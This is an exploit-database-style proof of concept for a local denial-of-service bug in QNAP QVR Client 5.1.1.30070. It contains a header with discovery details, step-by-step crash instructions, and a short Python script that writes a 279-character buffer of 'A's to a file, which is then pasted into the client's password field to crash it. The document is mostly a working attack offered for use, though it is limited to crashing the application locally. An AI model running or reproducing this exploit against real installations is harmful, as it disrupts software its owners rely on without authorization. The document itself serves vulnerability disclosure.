# Exploit Title: QNap QVR Client 5.1.1.30070 - 'Password' Denial of Service (PoC)# Discovery by: Luis Martínez# Discovery Date: 2018-07-26# Vendor Homepage: https://www.qnapsecurity.com/n/en/# Software Link : http://download.qnap.com/Surveillance/QVRClient/Qmon_5.1.1.30070.zip# Tested Version: 5.1.1.30070# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es# Steps to Produce the Crash: # 1.- Run python code : python QNap_QVR_Client_5.1.1.30070.py# 2.- Open QNap_QVR_Client_5.1.1.30070.txt and copy content to clipboard# 3.- Open QVR.exe# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80# 5.- Username -> admin# 6.- Paste ClipBoard on Password# 7.- OK# 8.- Crashed#!/usr/bin/env python
buffer = "\x41"* 279
f = open ("QNap_QVR_Client_5.1.1.30070.txt","w")
f.write(buffer)
f.close()